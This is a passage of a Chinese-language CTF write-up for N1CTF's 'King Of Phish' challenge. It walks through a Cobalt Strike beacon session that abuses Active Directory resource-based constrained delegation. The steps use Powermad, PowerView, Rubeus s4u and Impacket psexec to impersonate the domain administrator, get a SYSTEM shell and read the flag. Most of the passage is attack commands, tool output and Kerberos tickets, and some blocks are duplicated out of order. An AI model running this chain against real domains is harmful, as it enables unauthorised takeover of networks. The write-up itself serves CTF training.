beacon> shell powershell Import-Module ./Powermad.ps1;"New-MachineAccount -MachineAccount ha1 -Password $(ConvertTo-SecureString 'evil' -AsPlainText -Force)"
[*] Tasked beacon to run: powershell Import-Module ./Powermad.ps1;"New-MachineAccount -MachineAccount ha1 -Password $(ConvertTo-SecureString 'evil' -AsPlainText -Force)"
[+] host called home, sent: 174 bytes
[+] received output:
[+] Machine account ha1 added
修改USERA-PC的`msDS-AllowedToActOnBehalfOfOtherIdentity`属性的值，使用`Powerview`
shell powershell import-module ./powerview.ps1;"$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList 'O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3860493963-3742860931-3732056798-1111)';
$SDBytes = New-Object byte[] ($SD.BinaryLength);
$SD.GetBinaryForm($SDBytes, 0);
Get-DomainComputer USERA-PC| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose;"
验证是否成功添加
beacon> shell powershell import-module ./powerview.ps1; Get-DomainComputer USERA-PC -Properties msds-allowedtoactonbehalfofotheridentity
[*] Tasked beacon to run: powershell import-module ./powerview.ps1; Get-DomainComputer USERA-PC -Properties msds-allowedtoactonbehalfofotheridentity
[+] host called home, sent: 153 bytes
[+] received output:
msds-allowedtoactonbehalfofotheridentity
---------------------------------------- {1, 0, 4, 128...}
### 方法1
利用配置好的资源约束委派，使用ha1$模拟administrator拿到一张票据并用psexec提权
ha1c9on@ha1c9ondeMacBook-Pro ~ % getTGT.py n1ctf.lab/ha1\$:evil -dc-ip 10.233.33.9 Impacket v0.9.22.dev1 - Copyright 2020 SecureAuth Corporation[*] Saving ticket in ha1$.ccacheha1c9on@ha1c9ondeMacBook-Pro ~ % export KRB5CCNAME=ha1\$.ccache ha1c9on@ha1c9ondeMacBook-Pro ~ % getST.py n1ctf.lab/ha1\$ -dc-ip 10.233.33.9 -spn HOST/USERA-PC -impersonate administrator -k -no-passImpacket v0.9.22.dev1 - Copyright 2020 SecureAuth Corporation[*] Using TGT from cache[*] Impersonating administrator[*] Requesting S4U2self[*] Requesting S4U2Proxy[*] Saving ticket in administrator.ccacheha1c9on@ha1c9ondeMacBook-Pro ~ % export KRB5CCNAME=administrator.ccacheha1c9on@ha1c9ondeMacBook-Pro ~ % psexec.py n1ctf.lab/administrator@usera-pc -k -no-pass -dc-ip 10.233.33.9Impacket v0.9.22.dev1 - Copyright 2020 SecureAuth Corporation[*] Requesting shares on usera-pc.....[*] Found writable share ADMIN$[*] Uploading file uNgdvAxj.exe[*] Opening SVCManager on usera-pc.....[*] Creating service bRYo on usera-pc.....[*] Starting service bRYo.....[!] Press help for extra shell commandsMicrosoft Windows [Version 10.0.17763.1339](c) 2018 Microsoft Corporation. All rights reserved.C:\Windows\system32>hostnameUserA-PC
C:\Windows\system32>type c:\flag.txt
n1ctf{El_Psy_Kongroo_Zp4du8O51YTgHrH284ea}
### 方法2
beacon> shell Rubeus.exe hash /user:ha1 /password:evil /domain:n1ctf.lab
[*] Tasked beacon to run: Rubeus.exe hash /user:ha1 /password:evil /domain:n1ctf.lab
[+] host called home, sent: 89 bytes
[+] received output:
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[*] Action: Calculate Password Hash(es)
[*] Input password : evil
[*] Input username : ha1
[*] Input domain : n1ctf.lab
[*] Salt : N1CTF.LABha1
[*] rc4_hmac : B1739F7FC8377E25C77CFA2DFBDC3EC7
[*] aes128_cts_hmac_sha1 : E5E39E604376FEE85BCA463ED5CC3F54
[*] aes256_cts_hmac_sha1 : 3A4A2FE0D395724907B3969AE0BBDA53237941E3EB3B91A52F99837E79A52524
[*] des_cbc_md5 : DC9EC86DFE4CEA89
beacon> shell Rubeus.exe s4u /user:ha1$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 /impersonateuser:administrator /msdsspn:host/USERA-PC /ptt
[*] Tasked beacon to run: Rubeus.exe s4u /user:ha1$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 /impersonateuser:administrator /msdsspn:host/USERA-PC /ptt
[+] host called home, sent: 153 bytes
[+] received output:
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[*] Action: S4U
[*] Using rc4_hmac hash: B1739F7FC8377E25C77CFA2DFBDC3EC7
[*] Building AS-REQ (w/ preauth) for: 'n1ctf.lab\ha1$'
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIEqDCCBKSgAwIBBaEDAgEWooIDyjCCA8ZhggPCMIIDvqADAgEFoQsbCU4xQ1RGLkxBQqIeMBygAwIB
AqEVMBMbBmtyYnRndBsJbjFjdGYubGFio4IDiDCCA4SgAwIBEqEDAgECooIDdgSCA3JyniA835NtGG4Q
ocS/rc4Dgi12K/jeeOljITOJpAfMF2Zvp3ak4nsx4MU1uk/tyqJkT3+zppa4UV0XKSfu0CE9VUegaT9c
ETVd6tpIDTkhZn+2qrsb92cqnWZddu+M8vAs/BZR711uYEP432wzv6QpqosgnvZ8crr7DHc8KwGjaGMk
rPsAyx+dTOAjbVSEpphreJhE/3S2H8LFCz39iu7mV5VsqoMSqCBVsOQHAFKuqH72mCXFS+RQ1ZZdLWuV
3LDjPvjjVNKRgjutLHaSNyXJKd8Jez25d5NbaMaRiVhbjamkBfG6PV1OEAVXoLQwsjl9zE7uPAGRfDsM
A7Zy9YUiLWMT5o4MJ6GPamZ/TPqvB9lD1qhhFfiyPt5CFkIQ2+olqbGmnOBdZU1DpENXacYTHn6saZqG
MmHQaDsrU+pHpns/XpK4pDiUoUVLHblxVhNQP3XJTs1BF0NBNdSNSj/rGehG2c6yDnZeXt7BTkrI/Gzp
uw/I/syWkO9H79JRfFaA3r4pmkPfTz54bJhupaRsWe8fo8tN9q4Pel8q8tXGsgWM8IrLbeT0LpFAykkp
a10tT+4hjEeLBep1ZjmSRXCHp7SQX2pFmdUU4qL4ciFk2kj2zweXB/GWQr1Jb5aozI8y2UjL1m3xdetQ
qehMgcraUXI2/YdhEIByPYzg5vj6en76s4Eed3pDnn1/bHrKs5Plu+GCzXjTDY2alnwBbBNd8oUQHk74
Za4BQoLIWkqk4Xa6Vs9uVme3yDvDntfQYOqR4vevHHFj3MWR0M0DkLA7JMdijuV83DN7vyonEOydBJbV
ZNx2N/hRGWY9u5ok3Y5JDvkFyuAjXyc+FBbTjOKR4maTQYBlrMu29LuDv12DMmgKcoY8DxMI/m4P87HH
OFPCHJSDIQDRXkDuwpbh/RMLscg+OYsxi2ynb9t5LtgIvquaCTVGZt5sF+mpzhqydi4iq/YKzfOPn/eU
/vZr2gd7b9QLI5mpDcf+Od00E7TQgmw/Wnn8yxJfp/20ZgoGvIqPGmIbZdIB26LMEKgDi+jl29nxDeHg
YL5dhqNUNbm1sytvxJ5OAwQq6JJk41IuoKO0hd1GPpuzjr3B68Y4nmWPh/KAFMH0ENMKYTMZ4+WGtc99
fiiUTZFWQZMjQVaQj26v24tpw04qtzEEEwKWf1+7MrGjgckwgcagAwIBAKKBvgSBu32BuDCBtaCBsjCB
rzCBrKAbMBmgAwIBF6ESBBDXfhFxvm/KmwlCPtik/8eqoQsbCU4xQ1RGLkxBQqIRMA+gAwIBAaEIMAYb
BGhhMSSjBwMFAEDhAAClERgPMjAyMDEwMjAxMjA0NDJaphEYDzIwMjAxMDIwMjIwNDQyWqcRGA8yMDIw
MTAyNzEyMDQ0MlqoCxsJTjFDVEYuTEFCqR4wHKADAgECoRUwExsGa3JidGd0GwluMWN0Zi5sYWI=
[*] Action: S4U
[*] Using domain controller: dc.n1ctf.lab (10.233.33.9)
[*] Building S4U2self request for: 'ha1$@N1CTF.LAB'
[*] Sending S4U2self request
[+] S4U2self success!
[*] Got a TGS for 'administrator@N1CTF.LAB' to 'ha1$@N1CTF.LAB'
[*] base64(ticket.kirbi):
doIFSDCCBUSgAwIBBaEDAgEWooIEZDCCBGBhggRcMIIEWKADAgEFoQsbCU4xQ1RGLkxBQqIRMA+gAwIB
AaEIMAYbBGhhMSSjggQvMIIEK6ADAgEXoQMCAQGiggQdBIIEGer3qCv6+HMg2hQ8TTJSZl36bz/PXR75
WWUesjhJmI8AJ0JaitJZefDW62xSaPV9H9fy6WB+wXQLbz2Sa4TEKvrW8JDNJX2BaJ+fY7TjcsRzgm6J
kpvPPyfmoZSIenMpEjQLIvW5P9sPsEsumxpqCdj0Ld4uUh1rXV3ewoERyCikI0gBtLuLXd9DLNa7iSr7
JUVevQmi40uIBPoGbyFn8rNeycVlhMyTfavHTVqtZMFcVIZhfY6IZpuZSjVeTy02soFbeawxezUfgN18
LNj/VZD+owwehPJ0y9ZLzlhZVTuVo+NWXZcXSW7zrv2fH+Snv6jt4r32LnesRT6to7O2usCdbpx+rzWO
8HNAfrOTmO0bzQ18C2GQnldOVuvows7UgKZlbEbehvhKifsgeYzC+OyWFxP3+VSUdxdOU7arUTL5Oi52
4TfFKhu8y5o80715vN2m7tpsPbM6bUwmWuU3r2gNA9FZpJtaIIaCzwO7GtJNS4dVlCmja1uEjccgB3VL
syjFC3PN9nLVv8F0CdKqa/y07HoVEecfEvwbe+0N1ZkOjHXym2rHPa1ekOVckS+kHjQFtAuz/zDBPVPY
CVfiWsqG3J/CeZOt6UeZN4t5T4+O7syR0P/1sdSDURDPvjEuwY8RG4pq2pnZ+MpJ9yOHUU+sUHvXYv3t
S7AYZY9qXa9WNrVSg/ZVrQRPU+gbiikFmt7hAa/nd+FnWD/TDzj8Jwtsz9T8lCaaxIzzzp8BcQ4p152f
iVBjzTl9vX3iTgmGBqZqST8cvddLp5N5pCdnFoAx1uxi+V8ZR9GajbsnQ6bZ2AYlOF9bgScBoAwGAMy4
VMLBbnZax6M2DC7ZrcyWVnORBv4eHxJMJXPMlC8VkHNADdB1HJtgWynd95f5P7AgZ0cMWTUbUJDfvj42
v2kP8jGQahMZFmqYB8+Rg6zs8jEeRVFBAmOftMuApGTdDPsfbAYp58X3PUJng0f+bOdZGNqwq54Jx0yA
XRPgjtJEN6aWgJeEYNx7pS2Tvuo2XiX1Sk6ZfznMngOMFzOh9fHdzp/bmJSifSmn4GAaPBrYV7WpODis
dG1Z2Kfu71TETmpefGht4/vQizrOwYYR4FoxDK7eygSb8eeWvLD/17JRlB+tiXzDiTND4uKPgvYE4OdQ
Fw4kCg4bETB9eeycfAbtGGbGVgUO7tSEIMdkx6UDUPIposz2MygYghOwFWzbqAq/FR4qeT8nWJz3VBik
RJprJRG+dMrwvlZh4MX97CxBeL1ZlXq3ZChglIpPtVcnxEXohFC7Beatre/xvhepHwsUU/eXA1mTMsyN
XTbgJJGKqKIKNEOlst1cgtB2jUE1VOBDyMbyLvQNOJSxm3Bjq7FbcMCBqt3TnkfHqfvsOiI/JeBrny1S
JXURWuxro4HPMIHMoAMCAQCigcQEgcF9gb4wgbuggbgwgbUwgbKgGzAZoAMCARehEgQQmCNXIWmBixuU
4L9QFcCtQqELGwlOMUNURi5MQUKiJDAioAMCAQqhGzAZGxdhZG1pbmlzdHJhdG9yQE4xQ1RGLkxBQqMH
AwUAAKEAAKURGA8yMDIwMTAyMDEyMDQ0MlqmERgPMjAyMDEwMjAyMjA0NDJapxEYDzIwMjAxMDI3MTIw
NDQyWqgLGwlOMUNURi5MQUKpETAPoAMCAQGhCDAGGwRoYTEk
[+] Ticket successfully imported!
[*] Impersonating user 'administrator' to target SPN 'host/USERA-PC'
[*] Using domain controller: dc.n1ctf.lab (10.233.33.9)
[*] Building S4U2proxy request for service: 'host/USERA-PC'
[*] Sending S4U2proxy request
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'host/USERA-PC':
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
GwRob3N0GwhVU0VSQS1QQw==
[+] Ticket successfully imported!
beacon> shell Rubeus.exe s4u /user:ha1$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 /impersonateuser:administrator /msdsspn:cifs/USERA-PC /ptt
[*] Tasked beacon to run: Rubeus.exe s4u /user:ha1$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 /impersonateuser:administrator /msdsspn:cifs/USERA-PC /ptt
[+] host called home, sent: 153 bytes
[+] received output:
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[*] Action: S4U
[*] Using rc4_hmac hash: B1739F7FC8377E25C77CFA2DFBDC3EC7
[*] Building AS-REQ (w/ preauth) for: 'n1ctf.lab\ha1$'
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIEqDCCBKSgAwIBBaEDAgEWooIDyjCCA8ZhggPCMIIDvqADAgEFoQsbCU4xQ1RGLkxBQqIeMBygAwIB
AqEVMBMbBmtyYnRndBsJbjFjdGYubGFio4IDiDCCA4SgAwIBEqEDAgECooIDdgSCA3JVjrpGLfK8TSo2
ZpcFm6IEAsNM8hiGcw6af+eCG69ybEZRKVPl+GiWvoZbiMDMmPtTgLibcFYg8AOhdMFjohCZBt3zW0M/
srGjUglptJ195mZ3kgke+Nn5vgC+U8oUlyv7aIC8fYmgNAmeHwqzdlS7knnwJaeXLucAtSk6nqtqWe4+
G4SEILUkd4R/4l+2yKxJeF3BDNO2nGVsmAWs6br5h6+++QGG4pCcHBleVgn77fpXcUfR1vnRYMx7jXve
8QVqrnVh9NTxjlCOdm48+BZ0G6E7J4WBgstaoRCS/D76CXVp/ECVLyToOtFYZR9ZV+YpBv4KXiAm0PJl
on5qgtP81IMNEJdCwOUSXIw7QUeYQciDNInDY+QIT7dd/MNKOrgMkhYJbTjb4dpPG3oF3U04D4ps8Ycc
0tlGkl09VYyVxaarrNKumM+Qm5Jh9xmSKDSbL6aZBdSx3Vsjmy00E4P4fmp1jbSHbHpcuZx4pSEa5Jk6
JrKDJwiAMZ8IeQqDR6Psu2THw7UozERk68lH78DOfHJANwnBq6OO/+tgxcd6Bir2wRtI1b9en+U5cB5C
w8e/daBZcj3Fc4oSLCLvn5DtwtX4LBhLMv1CPWwQTrLCdPk91xCZOcMM9BnoJoey0uZWCs4a8tX2mwBa
yTQ1e/mx+8DjSbYrg2dgn0oybC53icgO1MHnRUmN7pgkclmNaDicGUzEJas5q9jTB5AAv8VRoY7eKpZW
hTJ8rh4JYvow53RPHOcSG2dFj4cyU9X/yESUVzdZlSExIZijrhhGfDKF8YhDeErt5BKY72iQsfqLDsMV
6C+Nqi/o+aEOT8LmCNsPdh8nE/tIf4B1LHCL+KFWC38NXSTwUtUiUEj6RUXoyz+xhviYHIgcsuWsN+Xe
zHUUZNy0OgEJ8RKQgfs0e6p/4FkpfAHEDqdCpfvs8sr8sa0VV+XUFjTs3wKjgo4QmWDoVuSij20AWge0
J4N6khKsV5zbuTQygdxalohjMNkk7s+AhJ0ridKU0rO9Gdfyk1LCK/0hCdW6UMg6Vfhp8gj6yQYgWfNW
AyFMJNKd3T9sUxlDwuLdgKyl/+Czh0Saxyl47BkYBwSpP23MV6f2+ZUCv39KQixCjDz8cR7htpk1wEbr
i9llvE97gbu4wvVAZeAj6EhCyw7PtmfxJzk3wZ6ly82jgckwgcagAwIBAKKBvgSBu32BuDCBtaCBsjCB
rzCBrKAbMBmgAwIBF6ESBBDy/w7vg29enRbGgZU4Wkn2oQsbCU4xQ1RGLkxBQqIRMA+gAwIBAaEIMAYb
BGhhMSSjBwMFAEDhAAClERgPMjAyMDEwMjAxMjA0NTJaphEYDzIwMjAxMDIwMjIwNDUyWqcRGA8yMDIw
MTAyNzEyMDQ1MlqoCxsJTjFDVEYuTEFCqR4wHKADAgECoRUwExsGa3JidGd0GwluMWN0Zi5sYWI=
[*] Action: S4U
[*] Using domain controller: dc.n1ctf.lab (10.233.33.9)
[*] Building S4U2self request for: 'ha1$@N1CTF.LAB'
[*] Sending S4U2self request
[+] S4U2self success!
[*] Got a TGS for 'administrator@N1CTF.LAB' to 'ha1$@N1CTF.LAB'
[*] base64(ticket.kirbi):
doIFSDCCBUSgAwIBBaEDAgEWooIEZDCCBGBhggRcMIIEWKADAgEFoQsbCU4xQ1RGLkxBQqIRMA+gAwIB
AaEIMAYbBGhhMSSjggQvMIIEK6ADAgEXoQMCAQGiggQdBIIEGW9/QZKyAysfEneEd7dYN8ODPepj/HKk
YRfXhgEM4Uc0sIMewP0X8iAhIQNWK5212fMkGWnisbzBpJQt2rEyPBpF7blem6z1csmQkPkZoDG+Vedv
pvWFsUwCzuwedTEv810DHkzS6Ys1tSLbVn9Y/3I9t8ieNylZFvUhPiMSJCt/X+TLsPA6tQqiQCSR1bcp
OuioJ5VUfUmmtrPKiX6tHQ95HGDxWsR07MF1n6t3XX1BEuYXcfIFncP1qc2JZ+Z/DkYECNda7IAY20jX
0LauwwHuiy4COfds3T4vpQ0nTcK8AWjGmtmF/ysh0f9KFpe/W0TMm3Kml2/TpZX4nqI7KokoDyIMCAnw
85EcpIh8WWMfr9RfQAgP+gEYea5siMllpryjoxM8jqWHUVe30l7Vx5GdJHfplDTLcx/MVskbGqNITyYV
1LKp7fFpqklcvhC7+a8dpe/hpFPvntPvUXSICuLk0EUTZGbmTOch3AtIxAnhpoUllYQK3VKcM+Zueea3
E69VSl1YvYxdMxjmd0aWcfoDK2s4FeknAnQheAb3DAkXIhCyLCfn6FNl3ME+q6j0W1aF0mjZGxd5Kwej
yivtcpgxHJiXeCAx1f48B8eNqtwNZesU8c6hsQmv6/3ECaO8q4JSxflB57vjaxMPC58C81/xAZxlKifS
jlCG4dkA0zOKC+3bNq6ZGOF9dAG5XaXb7rWngtyxdadKYZDPgmwxGWR/ejz2sk7ZQM8MPZ1PStgRj1Yc
3B6sJ3eagOSe6Ej2CjV9q8P9qSsih2/uDm9WUkkyARk4h6/s54um61wTX1e1bfZJjn8cGXHnr3na6EdL
wszMfXFxKlx4QZseLng6p2ohYd9E8ghRwA5BCxOc4+zF9w3bGrPp88NuUqHlwBpzD5lh0Vd3S41RWfq+
JIbGM26bpikTe5uPgnsniRdDPDEl9bIOg0BaigJhVrCxwIExWAhY1gze0UsKASNV9cYB7qL59rVWO3PR
ramN3qOWXRlVSwiuzNr8448Ya0luJuNnGn3IS36gbQsmp7VIxTEFm2YgCSYp2ky4DwZS/rT4TkBrcur8
YHcqZEB6bArImjrEkrHlHHhoV9LB5ckdVOeysOHxF2Swwbl8MjOuacTXTJ+Yj+n5fh9h+NbsCfUqXM80
8lsnkBVeFtMxI0jLQEQiehEZZObVDtyiSHyeaQUQssMPiumLbdPvokkIipGNPhxEhMiLxeoZtTdAVxRI
Xswwwj9sd3y5bmTGy4ITlD4mbxQAzk/5E+bQsDFbzg5RRcYrluNMbIB4pqC0PZeWf9U7XuCVMgeBrdvG
oTR1nAe2AuoVHm6D7o2N+M7J7w7Dsvp/OUiYMVAEf0WB0BNCs2WI1xU/NrF2PYgK5UrMchE/uJ9GUgQt
BhwOUGaYo4HPMIHMoAMCAQCigcQEgcF9gb4wgbuggbgwgbUwgbKgGzAZoAMCARehEgQQ2nkJGyZVbVDu
vC/rvgOh8qELGwlOMUNURi5MQUKiJDAioAMCAQqhGzAZGxdhZG1pbmlzdHJhdG9yQE4xQ1RGLkxBQqMH
AwUAAKEAAKURGA8yMDIwMTAyMDEyMDQ1MlqmERgPMjAyMDEwMjAyMjA0NTJapxEYDzIwMjAxMDI3MTIw
NDUyWqgLGwlOMUNURi5MQUKpETAPoAMCAQGhCDAGGwRoYTEk
[+] Ticket successfully imported!
[*] Impersonating user 'administrator' to target SPN 'cifs/USERA-PC'
[*] Using domain controller: dc.n1ctf.lab (10.233.33.9)
[*] Building S4U2proxy request for service: 'cifs/USERA-PC'
[*] Sending S4U2proxy request
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/USERA-PC':
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
GwRjaWZzGwhVU0VSQS1QQw==
[+] Ticket successfully imported!
shell PsExec.exe \\USERA-PC -s ipconfig
## The King Of Phish (DC)
上一题拿到system，就可以hashdump了
mimikatz也可以了，尝试过后发现无法抓到密码，。均为null
### 委派提权
首先使用powerview收集信息，发现usera存在约束委派
beacon> shell powershell Import-Module ./powerview.ps1;"Get-DomainUser -TrustedToAuth"
[*] Tasked beacon to run: powershell Import-Module ./powerview.ps1;"Get-DomainUser -TrustedToAuth"
[+] host called home, sent: 103 bytes
[+] received output:
beacon> shell powershell Import-Module ./Powermad.ps1;"New-MachineAccount -MachineAccount ha1 -Password $(ConvertTo-SecureString 'evil' -AsPlainText -Force)"
[*] Tasked beacon to run: powershell Import-Module ./Powermad.ps1;"New-MachineAccount -MachineAccount ha1 -Password $(ConvertTo-SecureString 'evil' -AsPlainText -Force)"
[+] host called home, sent: 174 bytes
[+] received output:
[+] Machine account ha1 added
logoncount : 31
badpasswordtime : 10/20/2020 11:36:16 AM
distinguishedname : CN=usera,CN=Users,DC=n1ctf,DC=lab
objectclass : {top, person, organizationalPerson, user}
displayname : usera
lastlogontimestamp : 10/14/2020 7:42:42 PM
userprincipalname : usera@n1ctf.lab
name : usera
objectsid : S-1-5-21-3860493963-3742860931-3732056798-1105
samaccountname : usera
codepage : 0
samaccounttype : USER_OBJECT
accountexpires : NEVER
countrycode : 0
whenchanged : 10/14/2020 11:42:42 AM
instancetype : 4
usncreated : 12777
objectguid : 72036caf-e797-4b49-bc5e-4b6623571b1a
lastlogoff : 1/1/1601 8:00:00 AM
msds-allowedtodelegateto : {HOST/dc.n1ctf.lab/n1ctf.lab, HOST/dc.n1ctf.lab, HOST/DC, HOST/dc.n1ctf.lab/N1CTF...}
objectcategory : CN=Person,CN=Schema,CN=Configuration,DC=n1ctf,DC=lab
dscorepropagationdata : {10/14/2020 11:34:56 AM, 1/1/1601 12:00:00 AM}
serviceprincipalname : n1ctf/UserA-Pc
givenname : usera
